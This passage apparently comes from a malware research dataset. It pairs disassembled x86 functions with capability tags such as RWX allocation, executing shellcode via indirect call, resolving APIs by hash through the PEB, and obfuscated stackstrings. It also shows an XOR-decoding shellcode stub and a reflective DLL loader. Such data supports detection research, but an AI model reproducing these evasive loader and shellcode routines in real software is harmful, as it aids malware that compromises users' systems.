joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401022
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x40b7e8
push 0x407d3e
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x40e008]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov edi, edx
push 0x1c
lea eax, [ebp - 0x38]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov dword [ebp - 4], 0
mov eax, 0x5a4d
mov ecx, dword [ebp - 0x34]
cmp word [ecx], ax
jne 0x4010c5
mov edx, dword [ecx + 0x3c]
cmp dword [edx + ecx], 0x4550
jne 0x4010c5
mov esi, dword [edx + ecx + 0xd8]
lea eax, [esi + ecx]
cmp edi, eax
jb 0x4010c5
mov eax, dword [edx + ecx + 0xdc]
add eax, esi
add eax, ecx
cmp edi, eax
jae 0x4010c5
mov dword [ebp - 4], 0xfffffffe
mov al, 1
jmp 0x4010ce
mov dword [ebp - 4], 0xfffffffe
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.00407d72
mov esp, ebp
pop ebp
ret
Function at 0x401382
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x40e008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
mov ebx, edx
push edi
lea ecx, [esi - 0x10000]
movzx eax, cx
mov edi, ecx
sub edi, eax
test eax, eax
cmove edi, ecx
cmp edi, ebx
jbe 0x40144b
lea eax, [edi - 0x70000000]
cmp eax, 0x10000000
ja 0x4013c8
sub edi, 0x8000000
jmp 0x401443
push 0x1c
lea eax, [ebp - 0x20]
mov dword [ebp - 8], 0
xorps xmm0, xmm0
push eax
push edi
movups xmmword [ebp - 0x20], xmm0
movq qword [ebp - 0x10], xmm0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x40144b
cmp dword [ebp - 0x10], 0x10000
jne 0x40142e
cmp dword [ebp - 0x14], 0x10000
jb 0x40142e
push 0x40
push 0x3000
push 0x10000
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
jne 0x401504
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x677
je 0x40144b
sub edi, 0x10000
jmp 0x401443
mov ecx, dword [ebp - 0x1c]
add ecx, 0xffff0000
mov edi, ecx
movzx eax, di
sub edi, eax
test eax, eax
cmove edi, ecx
cmp edi, ebx
ja 0x4013b3
movzx eax, si
test eax, eax
je 0x40145a
sub esi, eax
add esi, 0x10000
mov edi, dword [ebp + 8]
cmp esi, edi
jae 0x401502
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualQuery]
nop dword [eax + eax]
lea eax, [esi - 0x70000000]
cmp eax, 0x10000000
ja 0x401485
add esi, 0x8000000
jmp 0x4014fa
push 0x1c
lea eax, [ebp - 0x20]
mov dword [ebp - 8], 0
xorps xmm0, xmm0
push eax
push esi
movups xmmword [ebp - 0x20], xmm0
movq qword [ebp - 0x10], xmm0
call ebx
test eax, eax
je 0x401502
cmp dword [ebp - 0x10], 0x10000
mov ecx, dword [ebp - 0x14]
jne 0x4014e5
cmp ecx, 0x10000
jb 0x4014e5
push 0x40
push 0x3000
push 0x10000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
jne 0x401504
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x677
je 0x401502
add esi, 0x10000
jmp 0x4014fa
mov esi, dword [ebp - 0x20]
add esi, ecx
movzx ecx, si
test ecx, ecx
je 0x4014fa
mov eax, 0x10000
sub eax, ecx
add esi, eax
cmp esi, edi
jb 0x401470
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00407d72
mov esp, ebp
pop ebp
ret
Function at 0x401592
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x40e008]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x40e778], 0
jne 0x40161b
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ecx, eax
mov edx, 0x40e778
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
jne 0x40161b
push esi
mov esi, dword [0x40e784]
mov dword [0x40e78c], eax
mov dword [0x40e788], eax
mov dword [0x40e780], eax
push edi
test esi, esi
je 0x4015fc
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 0x10000
push esi
call edi
test eax, eax
je 0x401613
mov esi, dword [esi + 4]
test esi, esi
jne 0x4015e3
xor eax, eax
pop edi
mov dword [0x40e774], eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00407d72
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x4015fe
mov ecx, dword [ebp - 4]
mov eax, 0x10dd
xor ecx, ebp
call fcn.00407d72
mov esp, ebp
pop ebp
ret
Function at 0x401ac5
Capabilities:
Suspend thread

Disassembly:
mov eax, dword [0x40e774]
push esi
mov esi, ecx
test eax, eax
jne 0x401b2e
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
cmp esi, eax
jne 0x401ada
xor eax, eax
pop esi
ret
push edi
push 8
call fcn.00407d85
add esp, 4
mov edi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
jne 0x401b1b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push 8
push edi
call fcn.00407dba
add esp, 8
mov dword [0x40e774], esi
mov eax, esi
mov dword [0x40e780], 0
pop edi
pop esi
ret
mov eax, dword [0x40e788]
mov dword [edi], eax
xor eax, eax
mov dword [edi + 4], esi
mov dword [0x40e788], edi
pop edi
pop esi
ret
Function at 0x4020a2
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x40e008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, edx
push edi
mov dword [ebp - 0xc], ebx
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x40e778], eax
je 0x4020de
pop edi
mov eax, 0x10dd
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00407d72
mov esp, ebp
pop ebp
ret
mov eax, dword [0x40e774]
test eax, eax
jne 0x4021ee
test ebx, ebx
jne 0x402102
pop edi
lea eax, [ebx + 0x57]
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00407d72
mov esp, ebp
pop ebp
ret
test edi, edi
je 0x40211b
cmp dword [edi], 0
jne 0x402130
mov dword [0x40e774], 6
mov dword [0x40e780], edi
pop edi
mov eax, 6
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00407d72
mov esp, ebp
pop ebp
ret
push esi
push 0x18
call fcn.00407d85
mov ecx, dword [edi]
add esp, 4
mov esi, eax
call fcn.00401520
mov ecx, dword [ebp - 0xc]
mov ebx, eax
call fcn.00401520
movzx ecx, byte [ebx + 0x36]
mov edx, eax
mov eax, dword [ebx + 0x40]
sub eax, ecx
mov dword [ebp - 0xc], eax
test ecx, ecx
je 0x4021c6
cmp ecx, 0x1e
ja 0x4021c6
cmp dword [ebx + 0x44], edx
jne 0x4021c6
lea edx, [ebp - 8]
mov dword [ebp - 8], 0
push edx
push 0x40
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x40218d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x4021d4
mov eax, dword [ebp - 0xc]
mov dword [esi + 0xc], eax
mov dword [esi + 8], edi
mov dword [esi + 0x10], ebx
mov dword [esi + 4], 1
mov eax, dword [ebp - 8]
mov dword [esi + 0x14], eax
mov eax, dword [0x40e78c]
mov dword [esi], eax
xor eax, eax
mov dword [0x40e78c], esi
pop esi
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00407d72
mov esp, ebp
pop ebp
ret
cmp dword [0x40e5b8], 0
mov ebx, 9
jne 0x4021da
mov dword [0x40e774], ebx
push 0x18
push esi
call fcn.00407dba
add esp, 8
mov dword [0x40e780], edi
mov eax, ebx
pop esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.00407d72
mov esp, ebp
pop ebp
ret
Function at 0x4038d2
Capabilities:
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x40e008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea edi, [ebp - 0x20c]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x403903
mov ecx, 9
lea eax, [ebp - 0x20c]
mov esi, str.lump_checksums.csv
rep movsd dword es:[edi], dword [esi]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push eax
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4039a5
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
xor edx, edx
mov ecx, esi
add ecx, 1
push 1
setb dl
neg edx
or edx, ecx
push edx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
add esp, 8
mov edi, eax
push 0
push 0
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x40399b
mov dword [0x40e614], edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00407d72
mov esp, ebp
pop ebp
ret
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00407d72
mov esp, ebp
pop ebp
ret
Function at 0x405334
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x405343
pop dword [ebp - 0x48]
mov eax, 0x2e1c9109
add eax, 0xd223c23a
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x5fda6809
sub dword [ebp - 0x58], 0x118822be
mov dword [ebp - 0x54], 0xdf29dd0c
add dword [ebp - 0x54], 0x53096f39
mov dword [ebp - 0x50], 0x4772aa76
add dword [ebp - 0x50], 0x4d999b8
mov dword [ebp - 0x4c], 0x7043d01f
sub dword [ebp - 0x4c], 0x7043d01f
lea eax, [ebp - 0x58]
push eax
mov eax, 0xb55e41b9
add eax, 0x4ae25e53
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x6ae0e472
add dword [ebp - 0x58], 0x99184e4
mov dword [ebp - 0x54], 0x7dff3562
add dword [ebp - 0x54], 0xc36d2c13
mov dword [ebp - 0x50], 0xe763f55d
add dword [ebp - 0x50], 0x7c0b770f
mov dword [ebp - 0x4c], 0xd953d92d
sub dword [ebp - 0x4c], 0xd953d92d
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x7636d2d9
add eax, 0x8a09cd3b
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x3e800
push 0
call eax
mov ecx, 0x7283a34b
sub ecx, 0x72834499
mov edx, eax
mov esi, 0x7c742150
add esi, 0x83cf9cb0
add esi, dword [ebp - 0x48]
mov ebx, 0x15a2219
sub ebx, 0x34426d73
mov dword [ebp - 0x20], 0xfd8123c1
mov edi, dword [esi]
xor dword [ebp - 0xc], edi
xor edi, ebx
xor dword [ebp - 0x30], 0xfa5c819d
mov dword [edx], edi
add edx, 0xa943fdc3
add edx, 0x56bc0241
add esi, 0x4cd39c0d
add esi, 0xb32c63f7
loop 0x405465
add eax, 0xcc1516f2
add eax, 0x33ec56a9
xor ebx, ebx
add ebx, eax
add eax, 0x40696d2e
sub eax, 0x40696d29
mov ecx, 0x44288597
add ecx, 0xbc177a69
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x1000206b
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov eax, 0x6b
mov word [ebp - 0x24], ax
mov ecx, 0x65
mov word [ebp - 0x22], cx
mov edx, 0x72
mov word [ebp - 0x20], dx
mov eax, 0x6e
mov word [ebp - 0x1e], ax
mov ecx, 0x65
mov word [ebp - 0x1c], cx
mov edx, 0x6c
mov word [ebp - 0x1a], dx
mov eax, 0x33
mov word [ebp - 0x18], ax
mov ecx, 0x32
mov word [ebp - 0x16], cx
mov edx, 0x2e
mov word [ebp - 0x14], dx
mov eax, 0x64
mov word [ebp - 0x12], ax
mov ecx, 0x6c
mov word [ebp - 0x10], cx
mov edx, 0x6c
mov word [ebp - 0xe], dx
xor eax, eax
mov word [ebp - 0xc], ax
mov dword [ebp - 4], 0
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov eax, dword [ebx + 0x28]
test eax, eax
je 0x1000211f
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.10001ffb
add esp, 8
cmp eax, 0
mov eax, dword [ebx + 0x10]
mov ebx, dword [ebx]
jne 0x100020f8
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000212b
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x14
push ebp
push edi
mov edi, ecx
mov ebp, edx
test edi, edi
je 0x10002146
test ebp, ebp
je 0x10002146
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jne 0x1000214e
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x14]
add ecx, edi
mov dword [esp + 0x10], ecx
push esi
mov esi, dword [eax + 0x1c]
mov ecx, ebp
sub ecx, dword [eax + 0x10]
add esi, edi
add edx, edi
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], edx
mov dword [esp + 0x10], ebx
cmp ecx, ebx
ja 0x1000218e
mov eax, dword [esi + ecx*4]
pop esi
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + 0x18]
xor esi, esi
mov dword [esp + 0x18], eax
test eax, eax
je 0x100021ea
mov ecx, ebx
movzx ebx, word [edx + esi*2]
cmp ebx, ecx
ja 0x100021e5
mov eax, dword [esp + 0x14]
mov ecx, ebp
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x100021d0
test dl, dl
je 0x100021cc
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x100021d0
add ecx, 2
add eax, 2
test dl, dl
jne 0x100021b0
xor eax, eax
jmp 0x100021d5
sbb eax, eax
or eax, 1
test eax, eax
je 0x100021f4
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
inc esi
cmp esi, eax
jb 0x1000219d
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [esp + 0x20]
pop esi
mov eax, dword [eax + ebx*4]
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
Function at 0x1000220b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
push ebx
push edi
mov edi, edx
mov ebx, ecx
call fcn.1000206b
test eax, eax
jne 0x10002223
pop edi
pop ebx
add esp, 0x10
ret
push esi
lea edx, [esp + 0xc]
mov ecx, eax
mov dword [esp + 0xc], 0x74726956
mov dword [esp + 0x10], 0x416c6175
mov dword [esp + 0x14], 0x636f6c6c
mov byte [esp + 0x18], 0
call fcn.1000212b
mov esi, eax
test esi, esi
jne 0x10002259
pop esi
pop edi
pop ebx
add esp, 0x10
ret
push 0x40
push 0x3000
push edi
push ebx
call esi
test eax, eax
jne 0x10002273
push 0x40
push 0x3000
push edi
push eax
call esi
pop esi
pop edi
pop ebx
add esp, 0x10
ret
Function at 0x1000236b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x44
push esi
push edi
mov dword [esp + 0x1c], edx
mov edi, ecx
call fcn.1000206b
mov esi, eax
test esi, esi
jne 0x10002389
pop edi
xor eax, eax
pop esi
add esp, 0x44
ret
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x64616f4c
mov dword [esp + 0x3c], 0x7262694c
mov dword [esp + 0x40], 0x41797261
mov byte [esp + 0x44], 0
call fcn.1000212b
mov dword [esp + 0x18], eax
test eax, eax
je 0x10002381
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x65657246
mov dword [esp + 0x3c], 0x7262694c
mov dword [esp + 0x40], 0x797261
call fcn.1000212b
mov dword [esp + 0x34], eax
test eax, eax
je 0x10002381
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x50746547
mov dword [esp + 0x3c], 0x41636f72
mov dword [esp + 0x40], 0x65726464
mov word [esp + 0x44], 0x7373
mov byte [esp + 0x46], 0
call fcn.1000212b
mov dword [esp + 0x28], eax
test eax, eax
je 0x10002381
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x4d746547
mov dword [esp + 0x3c], 0x6c75646f
mov dword [esp + 0x40], 0x6e614865
mov dword [esp + 0x44], 0x41656c64
mov byte [esp + 0x48], 0
call fcn.1000212b
mov dword [esp + 0x30], eax
test eax, eax
je 0x10002381
mov eax, dword [edi + 0x3c]
push ebx
cmp dword [eax + edi + 0x84], 0
push ebp
je 0x10002550
mov ecx, dword [eax + edi + 0x80]
add ecx, edi
xor esi, esi
lea ebx, [ecx + 0xc]
mov dword [esp + 0x34], ecx
mov dword [esp + 0x10], esi
cmp dword [ebx], esi
je 0x10002550
mov eax, ebx
mov ebp, ecx
mov eax, dword [eax]
add eax, edi
push eax
mov dword [esp + 0x2c], eax
call dword [esp + 0x24]
mov dword [esp + 0x2c], eax
mov eax, dword [ebp]
mov dword [esp + 0x1c], eax
test eax, eax
jne 0x100024b3
mov eax, dword [ebp + 0x10]
mov dword [esp + 0x1c], eax
add eax, edi
mov dword [esp + 0x14], 0
cmp dword [eax], 0
je 0x10002534
mov dword [esp + 0x18], 0
nop
mov eax, dword [eax]
test eax, eax
jns 0x100024d6
movzx esi, ax
jmp 0x100024db
lea esi, [edi + 2]
add esi, eax
mov ecx, dword [esp + 0x24]
test ecx, ecx
je 0x100024fa
push dword [esp + 0x58]
and eax, 0x80000000
push eax
push esi
push dword [esp + 0x34]
call ecx
mov ecx, eax
test ecx, ecx
jne 0x10002509
push esi
push dword [esp + 0x30]
call dword [esp + 0x38]
mov ecx, eax
test ecx, ecx
je 0x1000255d
mov eax, dword [ebp + 0x10]
add eax, dword [esp + 0x18]
mov dword [eax + edi], ecx
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x1c]
inc ecx
mov dword [esp + 0x14], ecx
shl ecx, 2
add eax, ecx
add eax, edi
mov dword [esp + 0x18], ecx
cmp dword [eax], 0
jne 0x100024cb
mov esi, dword [esp + 0x10]
mov ecx, dword [esp + 0x34]
inc esi
mov dword [esp + 0x10], esi
lea eax, [esi + esi*4]
lea ebp, [ecx + eax*4]
cmp dword [ebp + 0xc], 0
lea eax, [ebp + 0xc]
jne 0x10002490
pop ebp
pop ebx
pop edi
mov eax, 1
pop esi
add esp, 0x44
ret
cmp dword [ebx], 0
je 0x10002586
mov esi, dword [esp + 0x10]
xor ebp, ebp
lea ecx, [ecx]
cmp ebp, esi
ja 0x10002586
mov eax, dword [ebx]
add eax, edi
push eax
call dword [esp + 0x3c]
push eax
call dword [esp + 0x40]
add ebx, 0x14
inc ebp
cmp dword [ebx], 0
jne 0x1000256b
pop ebp
pop ebx
pop edi
xor eax, eax
pop esi
add esp, 0x44
ret
Function at 0x1000259b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x18
push esi
push edi
mov edi, ecx
call fcn.1000206b
mov esi, eax
test esi, esi
je 0x10002657
push ebp
lea edx, [esp + 0x10]
mov ecx, esi
mov dword [esp + 0x10], 0x65657246
mov dword [esp + 0x14], 0x7262694c
mov dword [esp + 0x18], 0x797261
call fcn.1000212b
mov ebp, eax
test ebp, ebp
je 0x10002656
lea edx, [esp + 0x10]
mov ecx, esi
mov dword [esp + 0x10], 0x4d746547
mov dword [esp + 0x14], 0x6c75646f
mov dword [esp + 0x18], 0x6e614865
mov dword [esp + 0x1c], 0x41656c64
mov byte [esp + 0x20], 0
call fcn.1000212b
mov edx, eax
mov dword [esp + 0xc], edx
test edx, edx
je 0x10002656
mov ecx, dword [edi + 0x3c]
cmp dword [ecx + edi + 0x84], 0
je 0x10002656
push ebx
mov ebx, dword [ecx + edi + 0x80]
add ebx, edi
xor esi, esi
mov eax, dword [ebx + 0xc]
test eax, eax
je 0x10002655
lea ebx, [ebx]
add eax, edi
push eax
call edx
push eax
call ebp
mov edx, dword [esp + 0x10]
lea esi, [esi + 1]
lea eax, [esi + esi*4]
mov eax, dword [ebx + eax*4 + 0xc]
test eax, eax
jne 0x1000263b
pop ebx
pop ebp
pop edi
pop esi
add esp, 0x18
ret

Function at 0x100028d4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov ebx, dword [ebp + 8]
cmp ebx, 0
je 0x10002919
mov eax, dword [ebx + 0x3c]
add eax, ebx
mov edx, dword [eax + 0x78]
add edx, ebx
mov ecx, dword [edx + 0x18]
mov eax, dword [edx + 0x20]
push ecx
push ecx
push eax
xor eax, eax
or ecx, 0xffffffff
mov edi, dword [ebp + 0xc]
mov edi, dword [edi]
repne scasb al, byte es:[edi]
not ecx
pop eax
push ecx
mov edi, dword [ebp + 0xc]
mov edi, dword [edi]
mov esi, dword [eax + ebx]
add esi, ebx
repe cmpsb byte [esi], byte es:[edi]
pop ecx
je 0x1000291f
add eax, 4
pop esi
dec esi
push esi
jne 0x10002901
xor eax, eax
leave
ret 8
pop esi
pop ecx
sub ecx, esi
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx eax, word [eax + ebx]
mov ecx, dword [edx + 0x1c]
lea eax, [ecx + eax*4]
mov eax, dword [eax + ebx]
add eax, ebx
leave
ret 8
Function at 0x10003311
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov edi, dword [ebp + 8]
push 0xa0000301
push 0
push 0x10085e87
push 1
mov ebx, 0x10009de0
call fcn.100092f5
add esp, 0x10
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
push eax
mov ebx, dword [ebp + 8]
push dword [ebx]
call fcn.1000296a
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x1000336d
push ebx
call fcn.100092e3
add esp, 4
cmp dword [ebp - 8], 0
je 0x10003379
mov edi, dword [edi]
push edi
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
pop edi
mov esi, ecx
not esi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0xc]
lea eax, [eax + 0x10]
push dword [eax]
xor eax, eax
push edx
mov ecx, dword [edx + 0x30]
movzx ebx, byte [eax + edi]
movzx edx, byte [ecx + eax*2]
sub ebx, edx
cmp ebx, 0
je 0x100033b8
cmp ebx, 0x20
je 0x100033b8
cmp ebx, 0xffffffe0
je 0x100033b8
jne 0x100033c1
add eax, 1
cmp esi, eax
je 0x100033ce
jne 0x1000339d
pop edx
mov edx, dword [edx]
xor eax, eax
pop ebx
cmp ebx, edx
push ebx
je 0x100033d2
jne 0x10003399
pop edx
mov eax, dword [edx + 0x18]
leave
ret 4

Function at 0x10003533
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
cld
xor edx, edx
mov edx, dword fs:[edx + 0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
push 0x18
pop ecx
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x10003561
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x10003558
cmp edi, 0x6a4abc5b
mov ebx, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x10003550
mov eax, ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x10003582
mov esp, ebp
pop ebp
ret

Function at 0x10003586
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov ebx, dword [ebp + 8]
cmp ebx, 0
je 0x100035cb
mov eax, dword [ebx + 0x3c]
add eax, ebx
mov edx, dword [eax + 0x78]
add edx, ebx
mov ecx, dword [edx + 0x18]
mov eax, dword [edx + 0x20]
push ecx
push ecx
push eax
xor eax, eax
or ecx, 0xffffffff
mov edi, dword [ebp + 0xc]
mov edi, dword [edi]
repne scasb al, byte es:[edi]
not ecx
pop eax
push ecx
mov edi, dword [ebp + 0xc]
mov edi, dword [edi]
mov esi, dword [eax + ebx]
add esi, ebx
repe cmpsb byte [esi], byte es:[edi]
pop ecx
je 0x100035d1
add eax, 4
pop esi
dec esi
push esi
jne 0x100035b3
xor eax, eax
leave
ret 8
pop esi
pop ecx
sub ecx, esi
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx eax, word [eax + ebx]
mov ecx, dword [edx + 0x1c]
lea eax, [ecx + eax*4]
mov eax, dword [eax + ebx]
add eax, ebx
leave
ret 8
Function at 0x10005412
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov eax, 0x6b
mov word [ebp - 0x24], ax
mov ecx, 0x65
mov word [ebp - 0x22], cx
mov edx, 0x72
mov word [ebp - 0x20], dx
mov eax, 0x6e
mov word [ebp - 0x1e], ax
mov ecx, 0x65
mov word [ebp - 0x1c], cx
mov edx, 0x6c
mov word [ebp - 0x1a], dx
mov eax, 0x33
mov word [ebp - 0x18], ax
mov ecx, 0x32
mov word [ebp - 0x16], cx
mov edx, 0x2e
mov word [ebp - 0x14], dx
mov eax, 0x64
mov word [ebp - 0x12], ax
mov ecx, 0x6c
mov word [ebp - 0x10], cx
mov edx, 0x6c
mov word [ebp - 0xe], dx
xor eax, eax
mov word [ebp - 0xc], ax
mov dword [ebp - 4], 0
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov eax, dword [ebx + 0x28]
test eax, eax
je 0x100054c6
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.100053a2
add esp, 8
cmp eax, 0
mov eax, dword [ebx + 0x10]
mov ebx, dword [ebx]
jne 0x1000549f
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100054d2
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x14
push ebp
push edi
mov edi, ecx
mov ebp, edx
test edi, edi
je 0x100054ed
test ebp, ebp
je 0x100054ed
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jne 0x100054f5
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x14]
add ecx, edi
mov dword [esp + 0x10], ecx
push esi
mov esi, dword [eax + 0x1c]
mov ecx, ebp
sub ecx, dword [eax + 0x10]
add esi, edi
add edx, edi
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], edx
mov dword [esp + 0x10], ebx
cmp ecx, ebx
ja 0x10005535
mov eax, dword [esi + ecx*4]
pop esi
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + 0x18]
xor esi, esi
mov dword [esp + 0x18], eax
test eax, eax
je 0x10005591
mov ecx, ebx
movzx ebx, word [edx + esi*2]
cmp ebx, ecx
ja 0x1000558c
mov eax, dword [esp + 0x14]
mov ecx, ebp
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x10005577
test dl, dl
je 0x10005573
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x10005577
add ecx, 2
add eax, 2
test dl, dl
jne 0x10005557
xor eax, eax
jmp 0x1000557c
sbb eax, eax
or eax, 1
test eax, eax
je 0x1000559b
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
inc esi
cmp esi, eax
jb 0x10005544
pop esi
pop ebx
pop edi
